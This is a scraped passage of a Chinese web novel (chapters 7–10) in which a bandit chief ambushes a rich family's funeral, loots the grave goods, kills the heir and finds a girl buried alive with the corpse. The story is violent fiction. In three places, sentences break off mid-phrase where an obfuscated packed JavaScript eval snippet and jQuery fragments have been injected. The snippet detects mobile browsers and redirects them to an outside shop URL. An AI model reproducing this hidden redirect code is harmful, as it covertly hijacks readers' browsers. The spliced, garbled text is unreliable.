寨子里确实有娘子们在,可红豆与他互相倾心,静娘她们还都是小孩子,张婶子、王婶子、刘婶子都是四五十的老大姐了,谁敢对他们寨主上下其手啊。 只有可能是李颦。 想不到李颦妹子娇弱如花,却是个极其生猛的娘子。 “老孙你给大爷我正经些。” 顾若磐一个俯冲到孙江跟前,眯着眼对他说:“不管李颦是不是护国公家的人,寨子都不会久留她,等她给本大爷做好了武器,她和她妹妹养好了伤,我就会赶她走。” “她这样的达官贵族之后,还与和亲扯上关系的人,对我们寨子来说是个烫手山芋,最好能尽快丢出去。” 孙江也不再调笑,严肃起来,“我明白了,派去京城的两个人我会找机灵聪明、手脚利索的。” “嗯。” 商量好正事,孙江又恢复了他没个正形的模样,依靠在门前,坏笑着对顾若磐说:“今日我回来路过甄财主家,甄财主后日下葬,去吗?” 顾若磐勾起嘴角,眼里满是玩味,“去,如何不去。” “后日抢来的东西,五分留寨子当公粮,另外的五分给你和红豆,当红豆的嫁妆。” 孙江猛地蹿跳起来,眼睛瞪得极大,可又死命压下激动,青色的敞口衣袖被他摆得忽响,“这怎么好意思拿那么多......” “少装。”顾若磐很是大气,“给你们的,你们就拿着。” “好嘞!” 孙江十分狗腿地蹭到顾若磐身后,替他捏肩捶背,“我与红豆对寨主马首是瞻,忠心不二,这辈子将与黑风寨同生共死。” “哎,就是往后我和红豆恩恩爱爱的,你还孑然一身,我实在不忍心,我觉得颦儿妹子就很好。” 他越说越觉得可行,忍不住抚掌感叹:“颦儿妹子要真是那个什么护国公府的小姐,那可是大家闺秀,定是知书达理,长得又好看,你说你就长了张漂亮得不像男人的脸,又要去哪里找媳妇?一般的吧,你把人家都要衬得无地自容,我看颦......哎哟我去!” 孙江一下子说美了,忘记顾若磐最痛恨别人说他长得不像男人。 顾若磐黑着脸给了孙江一拳,这一拳可没省力,打在胸口那是结结实实的,逼得孙江后退了好几步。 “孙江你找死?” 孙江再好的脾气,这会儿也有些气煞,挽起衣袖就往院子外走,“行啊,你到外面来,我们好好切磋切磋,好几月没跟你打了,真是手痒得不行。” 顾若磐一脚往门上踹,大马金刀地半蹲在外头,歪着脑袋,不可一世地说:“被本大爷打趴下了,可别找红豆偷偷抹眼泪。” 他说完还朝孙江挑衅地挠脸,作出羞羞脸的手势。 孙江看到顾若磐的动作,又好气又好笑,他一个大男人也涨红了脸——因为他真在红豆面前哭过。 那都是好几年前的事了。 他当时也十七八岁,正是热血的年岁,和才十五岁的顾若磐争黑风寨寨主的位置。 黑风寨前任寨主被顾若磐单杀了,而孙江不服他,顾若磐倒是干脆,延续着寨子的规矩,只要是能打过他的人就能做寨主。 寨主的位置能者上。 孙江不是唯一一个挑战的,但是却是唯一一个活下来的。 因为他有功夫,跟顾若磐打了好几个来回,但顾若磐像是不知疲惫,连续不断地进攻,招数凶猛狠厉,完全不防守,也不需要防守。 那一次的挑战,孙江很快地摆下阵,不过顾若磐却留着他的命。 “你身手只在我之下,有野心,我喜欢。” “既然你做不了这个寨主,就做二当家的吧,我知你会读书识字,往后寨子里的粮草账务,你管,若是弄虚作假,你就不用活了。” 顾若磐当时说完直接用脚碾碎了孙江的小腿骨,趴在红豆怀里大哭。 从此以后,孙江对顾若磐是又佩服又惧怕,也是一起相处了八九年,和顾若磐几经生死,才交了心,成了好兄弟。 这会儿听到顾若磐旧事重提,孙江颇有些难为情。 这个顾若磐,嘴巴总是那么毒,非要让他记起从前嚎啕大哭的糗事。 “休要胡说!看招——!” “嘁,你先能打中本大爷再说。” 不一会儿,这两人动静大得出奇,寨子里的土匪们都跑去围观呼号,声音激昂。 李颦刚被柳红豆推进厢房,静娘那几个小娘子也跟在身后,叽叽喳喳地与李颦说话。 不过一路的功夫,几个小丫头就很喜欢李颦这个说话温柔,长得漂亮的姐姐了。 “打啊!二当家的行不行啊!” “寨主利落!这动作真是利落啊!” 喝彩声不断地往厢房里传过来,李颦也看向窗外,“红豆姐姐,外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029358|194511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头打起来了,没事吗?” 柳红豆不甚在意地靠在门边笑,“别管他们,他们男人啊幼稚得很,每隔段时间就要打打闹闹,出不了什么大事,随他们切磋得了。” “对了,你刚刚问我寨子里有没有笔,毛笔么,是要写字?” 李颦摇头,“我用不惯毛笔,所以想问姐姐,这里有没有炭笔,我在给顾寨主做手作武器之前,要先把样子画出来。” “炭笔......”柳红豆想了半晌,撇嘴说:“我都没听说过这个,我到时候给你问问大江哥哥,等过几日下山时给你带回来。” “好,多谢红豆姐姐,若是雍州没炭笔,能有炭条也行,都是一样的东西。” 李颦从前在京城没见过炭笔,倒是见过炭条,只是雍州这地界没京城繁荣,也不知有没有炭条。 柳红豆默默记下。 这时候外头的尖叫声越来越大,棠娘和月娘都伸长脖子去瞧,柳红豆揽着两丫头的肩膀和李颦告辞。 “小姑娘们好奇,我带她们过去瞧瞧,颦儿妹妹你好好歇着,缺什么再喊我。” 李颦见柳红豆身子都要撤到门外了,心知她自己其实也关心着孙江,嘴角忍不住噙着笑意点头。 柳红豆瞧见了,伸手掐她的脸颊,“狭隘的小颦儿,其实我自己也想看。” “走了啊,静娘云娘带上门,也和我们一起去看看。” 李颦朝几人挥挥手,等她的厢房门被带拢后,她撑着下巴,闭着眼睛坐在桌案前。 [系统,做长刀你有什么建议或者出彩的方法吗?] 李颦再次唤醒脑海里的手作系统。 手作系统打了个呵欠,懒洋洋地说: [长刀是冷兵器,我的知识库里有相关的设计和制作详解,你要看么?] 李颦惊喜地点头:[当然要看!] 接着李颦只觉自己的耳边发出了电流的滋滋声,闭着的双眼原本一片漆黑,但在电流声消失后,眼前竟像是在投影,出现了各种长刀的选择画面。 [亲爱的宿主,这里面是所有长刀的样子,你可以选任意你要制作的样子,在心里默念它的名字后,会自动播放相关的设计投影和制作投影。] 李颦闭着眼睛,下巴时而抬时而低,这是在脑海里的投影上做选择。 她翻了好几页,竟然看到了顾若磐用过的那把名为血吻的长刀。 李颦犹豫了一下,心里默念“血吻”,先选择看了这把刀的制作。 她要给顾若磐做手作武器,那便要做和他已经拥有的武器不一样的,首先便要了解血吻的制作和特点,她再从相反的方向下手。 这样做出来的刀才会叫人耳目一新。 特性不一样,顾若磐应该更能接受。 李颦这一整日都将自己关在厢房里,在系统里看各种长刀的投影,心里大概有了眉目,高兴了许多。 顾若磐和孙江的切磋在黄昏时分就分出了胜负。 自然是顾若磐赢了。 这场酣畅淋漓的比试,二人都活动开了筋骨,爽利得不行。 8. 第八章 两人流着热汗,仰躺在地上。 顾若磐正喘气,一张白汗巾重重地盖到了他面上。 他一把扯下汗巾,瞧见柳红豆心疼地坐在孙江身边,给孙江擦汗,手指还轻轻地碰孙江嘴角的淤青。 她给孙江擦汗的汗巾和盖在顾若磐脸上的一模一样。 顾若磐嗤笑一声,用汗巾擦脸时被柳红豆狠狠瞪了一眼。 “切磋就切磋,你们也收着些力道,一个脸上挂了彩,一个脖子挂了彩,后日不是还要下山?搞得这么狼狈做什么......” 柳红豆心疼孙江受伤,也对顾若磐无奈,嘴里便数落着二人。 “放心,你的嫁妆跑不了。” 顾若磐将汗巾搭在肩膀上,支着腿坐起,仰头看向诡谲的大片晚霞,橘色的夕光将他的头发都染成了金色。 “我哪是这个意思!” 柳红豆摇头,算是别想从顾若磐这人嘴里听到什么好话。 “后日我和你们一起下山,我答应了颦儿妹妹要给她寻炭笔。” 孙江也坐起身,“炭笔是什么?” 柳红豆摇头,“我也不知道,她说要给寨主做武器,要先用炭笔将武器的样子画在纸上,说这叫画图纸。” “何必要劳什子炭笔,见也没见过,你把我房里的毛笔给她呗。”孙江不解。 柳红豆还是摇头,“不行,颦儿妹妹说她用不惯毛笔,画图纸只会用炭笔,噢对了,她说炭条也行。” “炭条我知道,到时候找老铁问问,问到位置去买就行。” 顾若磐眼神沉沉地看向李颦的厢房,她的厢房大门紧闭,透过木雕花窗可以看到她有些模糊的影子。 她已经开始给他琢磨做武器的事了。 今日可是李颦受伤清醒后的第一天,她都还未完全缓过来,就已经将他的事放在第一位。 顾若磐的表情一时有些复杂,心里有股道不明的感觉泛滥开来,有些酸,又有些涩。 李颦啊李颦,你这般爱慕于我,可如何是好...... 顾若磐那张徜徉在金色晚霞里的瞳孔紧缩,面上的笑容似笑非笑,让人摸不着头脑。 “这事我来处理就好,你们不用管了。” 顾若磐站起身,最后看了眼李颦的厢房。 “红豆,你后日留下守寨,我和老孙带兄弟们下山,到时候你的嫁妆和她要的炭条,我一并带回。” 顾若磐留下这句话,就回了自己的屋子。 不过两日,李颦已经通过手作系统了解到好几种长刀的样式和制作方法,只待有了炭笔,她就能将自己的想法完完整整地画出来。 这日辰时,黑风寨众人在饭堂吃了早食,顾若磐和孙江便点了好些人准备下山。 李颦坐在辇车上,被柳红豆推着一起给这些人欢送鼓舞。 几个小娘子蹦蹦跳跳地助威—— “恭祝寨主大展宏图!” “恭祝二当家大事顺利!” “恭祝兄长们平安归来!” 小娘子们朝气蓬勃的喊声,感染了众人,大家都真心地笑起来,就连李颦的面上也带了笑意。 顾若磐挨个轻拍小丫头们的脑袋,“好,等本寨主回来给你们带漂亮裙子穿。” 他说完,眼神扫向李颦,见她笑得眉眼弯弯,心里变得轻飘飘的。 在静娘几人的欢呼声中,他不知不觉走到了李颦的跟前,弯腰俯身与李颦视线相触。 顾若磐面上戴着鬼面面具,这面具样子狰狞,可露出眼睛的那块儿能瞧见他深邃似黑曜石的双眼。 李颦放在膝上的双手忍不住指尖勾缠起来,有些不安地紧扭在一起。 顾若磐看向她的眼神太幽深专注,她有些受不住。 就在李颦想低头的时候,顾若磐的大手却盖上她的头顶,似轻拍又似轻抚,让李颦心里发痒。 “你也有份,喜欢什么花样?” 娘子们穿的裙子上不都是绣的花啊朵的。 李颦只觉自己脑子有瞬间的短路,几乎都没有多想,小声道:“蔷薇。” 顾若磐挑眉,手滑到李颦的后脑勺,不让她避开自己的目光。 “我记下了。” 他目光深深带着笑意。 “蔷薇花样的裙子,还有你要的炭条,不会忘。” 他说罢,轻拍了下李颦的脑袋,转身带着寨中兄弟们,风风火火地离开了山寨。 李颦总算是能垂下脑袋。 她抬手捂住胸口,嘴巴微张着吐气,想让怦怦直跳的心脏平缓下来。 顾若磐这心机深沉的人,做什么故意勾引人呢! 李颦暗骂顾若磐,面上反而悄悄攀上不可名状的红晕。 顾若磐一伙人辰时下山,要赶在天光大亮泛暖阳前到达西邙田附近。 在离拂云山二十里的西邙田是雍州集中的墓田,雍州许多人家有亲人去世后会选择葬在西邙田的墓田里。 而雍州出了名的大财主甄家就是西邙田这块地皮的土地主,而墓田里最大的一块地就是为了甄老爷百年后入土为安留下的。 直到西邙田近在眼前时,顾若磐抬手在耳侧捏成拳,他身后的人便四处散开,有人隐在山岩后,有人躲在草丛里,而他和孙江直直朝着西邙田最高的那片小山头走去。 “甄老胖子倒是会享受,连死了之后都要埋在西邙田里最高最大的地方。” 孙江用脚踩了两下坡上的松土,这里提前被甄家的人挖好了,只待今日给甄财主下葬。 顾若磐围着这小土坡转了圈,选了个有遮挡的好位置蹲下。 “再会享受,他也死了,也是时候跟他儿子算账。” 顾若磐隐在面具之下的脸有嗜血的意味。 甄财主叫甄豪,他只有一个不学无术的儿子甄耀祖,是老来得子,所以异常宠爱。 只可惜这个甄耀祖不光没有光宗耀祖,还是个溜街串巷的混混头子,最爱欺男霸女,若不是他的舅舅是雍州的冯县令,他都不知道因为为非作歹,会被关牢里多少次。 甄耀祖虽不成器,但是却极其孝顺,他的老爹甄豪在三年前病重,他不知是听了谁的唆使要为甄豪找童女当妾冲喜。 甄财主家有钱,不过将冲喜的消息漏了点出去,就有好些人家带着娘子的生辰八字过来,却没有一个能和甄豪合上的。 倒是他自己某一日到乡间骑马游玩,见到了给自己父兄送饭的静娘。 甄耀祖看中了静娘的美貌,想占为己有,可多嘴问了静娘的生辰八字后,竟和他老爹的能完美合上。 他一锤定音,将虚岁才十岁的静娘买下来,当他五十多岁老爹的冲喜小妾。 静娘家贫,兄长嫂子因为生了三个儿子,嚼用越发不够,她的爹娘正愁该怎么办,没想到钱财就送上了门。 他们收下甄耀祖给的大金锭子,潇洒地将女儿卖了,一点犹豫都见不着。 任凭静娘如何哭喊求饶,保证自己每日在家做事,房舍里只有沉浸在金锭子里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029359|194511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的喜悦,仿佛根本没听到静娘的呼救。 静娘是个不认命,被甄耀祖带回去的路上几次跳车,可都被甄耀祖抽着鞭子给打趴下,又抓了回来。 这样闹腾之下,引来了刚打劫完镖车的顾若磐一行人的注意。 发善心救人的是柳红豆,不过顾若磐也算是默认,不然他不会允许柳红豆擅自行动。 柳红豆搂着静娘,还要防范甄耀祖的打手,一时不察差点被甄耀祖挥鞭子打中,是顾若磐用刀砍断了甄耀祖的牛皮鞭子,不过鞭子也打掉了他脸上戴着的鬼面面具。 甄耀祖看呆了,是真正意义上的看得直流口水。 他觉得自己头二十几年都白活了,从前睡的都是什么庸脂俗粉,面前这个人他才是真的喜欢! 不管是男是女,他都要把顾若磐给抓回府上,当他的禁脔。 甄耀祖下了死命令,要他的打手活捉顾若磐和静娘,能捉到这两人的,他能赏百金。 他因为经常在雍州欺负人,得罪的人太多,甄豪担心这儿子的安危,常年给他配了四、五十个随行打手在身边保护。 甄耀祖来乡下这日,他身边也跟着这么多人。 偏黑风寨打劫镖车后,顾若磐让孙江带了一半的人先抬东西回了寨子,他身边只有十几个弟兄。 甄家的打手因为甄耀祖的赏金打红了眼,誓要拿下顾若磐,顾若磐当然滔天大怒,要将甄耀祖给杀了。 只是到底他们人少,折了好几个兄弟。 顾若磐看着死不瞑目的几个弟兄,杀性大发,杀掉了甄耀祖的所有打手。 在他砍下最后一个打手的脑袋时,甄耀祖已经屁滚尿流地骑着马跑了,而顾若磐胸口的长疤也是这次受了重伤才留下的。 此后,黑风寨和甄财主家的梁子结下了。 甄豪知晓自家儿子的所作所为,本是要寻他的小舅子冯县令,设法将黑风寨铲除。 可孙江却先找上了冯县令,将他这些年中饱私囊,还替甄耀祖抹罪名的事一件一件摊开了说给他听,冯县令怕脑袋上的乌纱帽不保,拒绝了甄豪的要求。 也是在这之后,冯县令对黑风寨动不动就打劫甄家而睁一只眼闭一只眼,只作不知。 甄豪自知自己年老,也活不久,若是没有自己为儿子筹谋,儿子迟早要被黑风寨的人欺负了去。 所以甄家给黑风寨送了很多箱金银珠宝,以求说和。 顾若磐当然不会嫌钱多。 甄家敢给,他就敢要。 他也答应了甄豪不追究甄耀祖,但死伤兄弟的仇,他记在了心里。 不过甄家不讲理,暗中与其他几个山寨来往,给他们钱财,命他们围攻黑风寨,可拂云山层层叠叠的严密布防,除非放火烧山,不然根本打不进去。 只有黄坡寨胆子最大,屡屡来挑衅,上次竟敢半路截杀黑风寨。 顾若磐教训了黄陂寨,如今也该教训一下甄家。 甄豪那老头子死了,答应他的事自然作罢。 顾若磐这次必要杀了甄耀祖。 毕竟三年前甄耀祖逃跑后,被甄家保护得极好,就算他去青馆找小倌儿,也有里三层外三层的人跟着。 顾若磐每每听闻甄耀祖去青馆就想吐。 被一个龌龊的男人肖想,他自认为是这辈子最大的耻辱! 而因为这人想活捉自己,使得好几个兄弟丢了性命,也让顾若磐耿耿于怀。 今日他便要带着寨中兄弟,为三年前的事做一个了结。 9. 第九章 正午阳光高照,墓群里的墓碑都被镀了一层金光,寒风吹过只有草木的簌簌之声,无比寂静。 不一会儿,敲锣打鼓的哀乐声从远处传来,打破了西邙田的宁寂。 顾若磐和孙江对视一眼,两人无声地点了下下巴。 等锣鼓声渐近时,顾若磐和孙江从小坡处站起身,举起手上的刀指向披麻戴孝的甄耀祖,邪肆凶狠地说: “甄小财主,不对,如今该叫你甄财主了,你老爹死了,怎么没请我们黄坡寨吃杯酒?” “甄财主瞧不起我们黄坡寨吗?” 说罢,孙江把手里的刀直直狠插在土里,吓得抬棺送葬的人丢了棺材就跑,那几个吹锣鼓的人连手里的东西都不要了,连滚带爬地尖叫着往西邙田外跑。 “土匪!土匪要来杀人了!” 甄耀祖身边依然跟着好几十个打手,只是黑风寨来的人更多,藏身在西邙田附近的土匪现身极快,团团包围住了甄耀祖众人。 这一回,黑风寨以碾压的姿态,将保护甄耀祖的打手砍杀殆尽,无一人存活。 甄耀祖看着身边的人一个接一个倒下,吓得胆颤。 他也想跑,可他老爹还没入土,他的腿怎么都迈不开,死死挡在甄豪的棺材前。 “你们到底要做什么!我爹每年给黄坡寨的钱可不少!” 这是真把他们当成黄坡寨的人了。 顾若磐仰头大笑,一把将面上的鬼面面具摘下,用手指转面具的红绳,嗤笑道:“没见过这么蠢的人,直接杀了吧。” 孙江啧啧摇头,“行,太蠢了,活着也是白瞎。” 甄耀祖看到顾若磐的脸后,色心不死,一瞬不瞬地盯着他看,狠咽了下口水,可恐惧感从他脚底蹿起。 他这真是碰见活阎王了。 他内心天人交战,一边是还未下葬的爹,一边是自己的命。 在顾若磐倾身迈步的时候,甄耀祖终究是怕了。 他转身就跑,只是没跑几步就被人给抓了回来,像是扔破布袋一样被扔到了顾若磐的跟前。 “怎么,认出本大爷来了?” 顾若磐半蹲下身,用刀背敲甄耀祖的脸。 甄耀祖抖抖索索地说:“你们黑风寨收了我爹大笔的钱财,早就答应不找我麻烦的,我也没惹你们啊......两位好汉今日为何出尔反尔?” “那不是跟你爹约定的么?现在他死了,本大爷为什么要管什么狗屁约定。” 顾若磐用刀压上甄耀祖的脖子。 甄耀祖大叫:“别杀我!别杀我!” “从前是我有眼不识泰山,是我冒犯了顾寨主大人,错我认!只要你别杀我,你要多少钱,我都能给你!” 顾若磐停住动作,眯着眼睛看向甄耀祖慢慢渗血的脖颈,眼里闪过嗜血的红光。 “要多少给多少?” 孙江一脚踩上甄耀祖的背,甄耀祖一下子跪趴在地上,头磕到甄豪的棺材上,砰的一声,十分清脆。 这声脆响引得围在四周的土匪哈哈大笑。 孙江也笑得猖狂,继续踩在甄耀祖的臀上,催促他:“二爷我问你是不是要多少给多少,怎么哑巴了,是不是不想给?” “寨主,他不想给就别跟他废话了,直接手起刀落,人头落地,那叫一个漂亮!” 甄耀祖是头被撞得发昏,眼前都在冒星子,根本来不及说话,可这会儿听到孙江要砍他的脑袋,吓得一哆嗦,抱着头大叫: “给!你们要多少就给多少!” 孙江看向顾若磐,顾若磐点点头,顺势戴上了鬼面面具。 “行啊,不过现在不能放了你,你要是跑了可怎么办。” 孙江的手举起一招,“兄弟们,把棺材后面的箱子都给二爷我打开。” “是,二当家的!” 黑风寨的兄弟们扛着长刀都去砍那些红木箱子,生砍得当啷响。 甄耀祖连连摆手,“我绝对不跑,我回家取钱就来,那些东西是我爹的陪葬,他准备了大半生的,我这儿子无用,不想连他的身后事也办不好,求几位爷高抬贵手,更好的东西还在府上,我马上取来奉上,求爷爷们放过我爹爹的陪葬!” 顾若磐冷笑,手里的刀在甄豪的陪葬品里挑来挑去。 “雍州有谁不知道甄财主每年都会在大梁各地寻稀世珍宝,为的就是他死后也能带了这些东西到地下去。” 他的刀尖挑在一个玉壶柄上,这玉壶是用和田玉所做,油光水滑,暖白无暇,色泽饱满的在阳光下都能发亮,这是上好的东西。 “瞧瞧,他在地下都要用玉壶喝茶。” 顾若磐手一抖,这玉壶摔落在地上,碎裂成一片一片的残片。 甄耀祖够着身子去捞也没捞到,心痛得比他脖子上的伤口都炸裂。 “老实点!” 孙江见他往前爬,又一脚踩上他的肩膀,让他动弹不得。 “不敢不敢......”甄耀祖缩着头,直说不敢。 顾若磐瞧他没出息的样子,笑得更是可怖。 就是这样一个无德无能的人,因为他生在富庶之家,背靠一县之令,所以在雍州这地方才能手眼通天,犯了任何事都能平息。 他手里头随便漏一点,都够穷苦人家吃一辈子。 所以甄耀祖能用钱权驱使手下的人替他卖命,看上了谁就掳谁走,不愿的人就打骂杀害,事后给一笔钱了事。 人命在他这种人的眼里是可以买卖的。 因为便宜,所以他可以随意对待。 三年前,因为甄耀祖要活捉顾若磐当禁脔,他和兄弟们与打手杀斗,最后他虽没被抓住,可他好几个兄弟却被打手乱刀砍死,死去的兄弟里还有想多攒些钱,到时候回了老家给父母治病的。 若不是因为甄耀祖这贱人,他的兄弟们怎么会白白死掉。 在顾若磐的眼里,当土匪的竟然不是因为出任务而死,而是为了寨主不被强逼去当禁脔而死,这怎么不是毫无道理的白白丢了性命。 他将这份屈辱牢记在心里,这三年打劫甄家货物无数次,既然不能杀了甄耀祖,那就用甄家的钱财养活寨子。 三年过去了,黑风寨早已吃穿不愁,寨中众人功夫渐长,手里拿着的武器也不再只有菜刀柴刀,能用更锋利的长刀□□。 隐忍多时,为的就是今日的清算。 顾若磐继续拿着长刀去挑下一个箱子的东西,这箱子里都是用金子制成的金饼,上头雕着三爪无角长龙和九头凤凰。 “哟,你老爹去了地下也想当地府的土皇帝啊。” 他抓起好几个金饼,随手抛给身边的弟兄们。 黑风寨的几个土匪小弟接住就用嘴啃—— “我勒个去,真金子,硌牙!” “你个蠢货,甄老头子那么有钱,能用假的么!” 顾若磐哼笑一声, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029360|194511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞥了眼甄耀祖,接着往后看。 金银做的日常饮食摆件,金丝楠木制成的房屋园舍和车马船舸的器具,古琴古琵琶应有尽有,连衣裳的箱笼都足足有五抬。 顾若磐坐在箱子上,用刀挑起箱子里的衣衫,刚抖落开竟然发现是一块女子穿的肚兜。 他恶心得浑身发毛,一把将肚兜给甩到甄耀祖的头上,怒斥道:“他爹的!甄豪真不愧是你亲爹,你们父子两一样的龌龊恶心,好端端的陪葬还要专门放女人的衣裳,简直变态至极!” 甄耀祖不敢多说什么,只是跪在地上赔笑,“顾寨主,我爹的陪葬您也看完了,是不是可以让他老人家入土为安,我马上回府上给你送更好的东西。” “行啊,你走吧。” 顾若磐的脚踩在箱子上,他歪着身子拍了一下箱侧,示意孙江放了甄耀祖。 孙江见状将一直压着甄耀祖的脚给收了回来,规矩地站到了顾若磐的身边。 “你老爹的陪葬,我们要了,你府上的好东西,我们也笑纳了,滚去取吧。” 甄耀祖仿佛听到天籁之音,拨开脑袋上的肚兜就朝顾若磐磕头。 “多谢爷!多谢顾爷!多谢顾寨主!” 他噌的一下站起身,忙往西邙田外跑,只是接着他就听到顾若磐极轻微的一声轻笑。 “呵......” 下一瞬,他的肚子就被人给捅穿了。 “嗬嗬......!” 甄耀祖喉咙里发出像残破风箱一样的断续声音,不可置信地看向他面前的顾若磐。 顾若磐戴着鬼面面具,他好像真的变成了厉鬼,来向甄耀祖讨命。 甄耀祖根本不知道他是怎么瞬间来到了自己的跟前,又是怎么一刀破开了自己的肚腹。 他只知道自己是真的要死了。 “为什么......你说话不算数......我......” 顾若磐将手里的刀更深地往甄耀祖的肚子里捅,每掏一下,甄耀祖口中的鲜血喷洒得越发多,有几滴血飞溅到他的面具上,顺着鬼面纹路滴落到了地上。 甄耀祖终于睁着眼睛倒地,在只剩最后一口气的时候,听到了顾若磐的声音—— “土匪的话,你也信?” “用你们家的钱财养我的黑风寨,再杀了你,确实是一桩大快人心的事。” 他后悔了,他不该招惹顾若磐,不该小瞧黑风寨...... 甄耀祖在黑风寨土匪们的嘲笑声中没了气息,那双不甘的眼睛瞪着高悬在天上的太阳,久久不闭。 顾若磐将手里的刀折成两半,随意扔在甄耀祖的脑袋旁边。 这把刀柄上刻着黄坡寨的寨旗标志——一只黑色的熊头。 顾若磐那日在拂云山杀掉黄坡寨的人后,黄坡寨所用的刀具都被黑风寨给收了回来。 现在总算派上用场。 “今日我没堕黑风寨的名头,为白白送命的兄弟们报了仇,往后谁敢欺负黑风寨,我顾若磐遇佛杀佛,遇鬼杀鬼。” 跟顾若磐一起下山的土匪们都十分振奋,举着刀高呼。 只是众人收声,准备抬了箱子走的时候,却听到什么东西撞击厚木板的声音。 孙江循着声音去找,目光锁定了甄豪的棺材。 他嘶了一声,活像被踩到尾巴的猫,跳起来就往顾若磐的身后躲。 “阿磐!诈......诈尸了!” 10. 第十章 “甄豪不会在天上看到我们杀了他的宝贝儿子,被气活了吧?!” 好几个土匪被孙江的话激得鸡皮疙瘩都冒了起来,不动声色地往顾若磐身后靠。 “寨......寨主,咱......咱们要不快点回去吧......?” 刚刚还威风凛凛的一群土匪,现在个个像鹌鹑一样,缩在强大可靠的顾若磐身边。 顾若磐都快被这群傻子给气笑了。 要不是他罩着这群人,这些小傻子就凭他们那比绿豆还小的脑干,能吃饱穿暖地活下来么...... 他很怀疑。 “出息!” 顾若磐甩开孙江抓着自己腰带的手,抢了孙江的刀就往甄豪的棺材前走去。 “什么鬼,什么怪,就算甄豪真活了过来,老子照样杀了他。” 他心里有气,砍向棺材的力道异常大,竟生生把棺材盖给砍成了两半。 哐——!哐——! 棺材盖掉到地上,顾若磐天不怕地不怕地垂头去看,可里头的场景真诡异到连他都被吓了一跳,往后退了一步。 “怎么了!怎么了!真的有鬼???” 孙江张开手臂,带着身后的弟兄们往后退,慌乱得恨不得要长一对翅膀飞走才好。 顾若磐却已经定下心神,厌恶地望着甄豪的棺材。 “没有鬼,只有人,还是个活生生的人。” 孙江听到棺材里面没有鬼,放心了许多,只是又听到顾若磐说里头有活人,很是震惊。 “这甄耀祖在干什么狗屁啊,连自己老头都能埋错?” 他迈着大步往前走,站在顾若磐身侧往棺材里看,看到了让他倒吸一口凉气的场面。 这可比鬼还要吓人。 棺材里确实躺着病死的甄豪,可他竟穿着鲜红的寿衣,寿衣的样子是新郎官才会穿的样式,而他旁边竟然躺着一个活生生的小姑娘! 这小姑娘看着只有十三四岁,面上敷了厚厚的粉脂,只是粉脂早被她的泪和鼻涕给弄花了,她嘴巴用红布堵着,手脚也用红绳子捆着,根本动弹不得。 她此刻因为突然见光而紧闭着眼睛,眼角的泪流得更加凶猛,她依旧下意识地用身子在棺材里撞,发出沉闷的碰撞声。 她身上穿着的喜服皱巴巴,头上戴着的金凤冠也掉到了甄豪尸体的肩膀边。 死人和活人躺在一个棺材里,这简直是闻所未闻,见所未见。 甄家竟然用活人给甄豪陪葬! 孙江心里直泛恶心,对着地上甄耀祖的尸体就啐了一口。 “他爹个杀千刀的贱种,怎么能做出这样泯灭人性的事!” “他爹个蛋的!世人都唾弃俺们当土匪的坏,俺怎么觉得这些有权有势的财主才是真正的黑心眼!” “我呸,这姓甄的死人真把自己当土皇帝了!也没见真正的皇帝搞活人陪葬的!” “他个死老头怎么不算雍州的皇帝?雍州县令是他小舅子,他给钱他小舅子,他小舅子在背后给他权,他爹的,当官的和地主勾结,自然是想干什么就干什么!” 顾若磐皱眉,深叹了口气,“行了,把人拉出来吧。” 他等了会儿,却没人上前。 顾若磐疑惑地回头,只见孙江带着兄弟们躲到了远处。 “对不住啊寨主,我是真怕这玩意儿,你让我杀人放火,我都敢干,但是让我从棺材里捞人,我真不敢!” 孙江头摇得像拨浪鼓一样,寨子里的其他人躲在他身后也连连点头。 顾若磐无语地啧了声:“没用的东西。” 他伸手将堵住小姑娘的红布给抽掉,那姑娘顿时大口喘气,抽噎的声音越发明显。 顾若磐接着将捆着她手脚的绳子割断,探身拎着她的衣襟,就把人给拎到了棺材外面。 刚将她放到地上,这小姑娘便软着腿尖叫着往外面跑,期间摔倒了好几次,也手脚并用地爬了起来。 “救命,爹爹,娘亲,救救我!” 她神志不清地乱喊,随着她跑远,叫喊声也渐渐再听不到。 孙江撇嘴,“这小丫头怎么连声谢谢都不说......” 顾若磐白他一眼,“行了,带上那些箱子,天黑后去东街。” 其他黑风寨的兄弟们领命做事,孙江却不解地问顾若磐:“寨主,我们不带东西回去啊?” “直接去黑市换钱。” 顾若磐瞥向孙江,“若是没有刚才那遭,东西都是上好的,也没必要去换,只是现在大爷我嫌那些晦气。” 孙江听了后很是赞同,“是了,是了!晦气,还是直接去换银票来的好。” 今日的东西有一半要做红豆的嫁妆,确实不该用那些浸着活人泪的物件。 “东西清点好,天色将暗便出发。” 顾若磐不止要去东街的黑市买卖东西,还要去找老铁问炭条。 